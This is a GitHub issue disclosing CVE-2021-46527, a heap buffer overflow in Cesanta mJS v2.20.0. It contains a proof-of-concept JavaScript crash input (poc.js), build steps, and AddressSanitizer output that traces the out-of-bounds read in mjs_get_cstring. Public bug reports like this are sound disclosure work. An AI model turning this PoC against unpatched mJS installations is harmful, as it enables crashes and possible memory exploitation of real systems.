Headline

CVE-2021-46527: Heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring · Issue #197 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_get_cstring at src/mjs_string.c.

2 years ago

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hope-fly opened this issue

Dec 31, 2021

· 0 comments

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

function JSEtest(a) {
  (typeof((typeof"cookie-present" !== gc("$$abcdabcd")) !== function() {
      return 100;
    })) !== function() {
      return 100;
    };

  if ("cookie-present" !== gc("$$abcdabcd"))
    gc(true);

  if (a < 10)
    load(gc(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp'])));;

  if (a < 1)
    JSEtest(a+1);;
}
JSEtest(0)

Execution steps & Output

$ ./mjs/build/mjs poc.js =====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000000203 at pc 0x5581d25fa021 bp 0x7ffff5880770 sp 0x7ffff5880760 READ of size 1 at 0x60f000000203 thread T0 #0 0x5581d25fa020 in mjs_get_cstring src/mjs_string.c:213 #1 0x5581d253f5aa in mjs_load src/mjs_builtin.c:58 #2 0x5581d2559244 in mjs_execute src/mjs_exec.c:853 #3 0x5581d2562a05 in mjs_exec_internal src/mjs_exec.c:1073 #4 0x5581d2562a05 in mjs_exec_file src/mjs_exec.c:1096 #5 0x5581d251f909 in main src/mjs_main.c:47 #6 0x7f20b4fd4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x5581d2520449 in _start (/usr/local/bin/Gmjs+0xe449)

Address 0x60f000000203 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring Shadow bytes around the buggy address: 0x0c1e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1e7fff8000: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c1e7fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa 0x0c1e7fff8020: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00 0x0c1e7fff8030: 00 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa =>0x0c1e7fff8040:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb

Credits: Found by OWL337 team.

1 participant

@hope-fly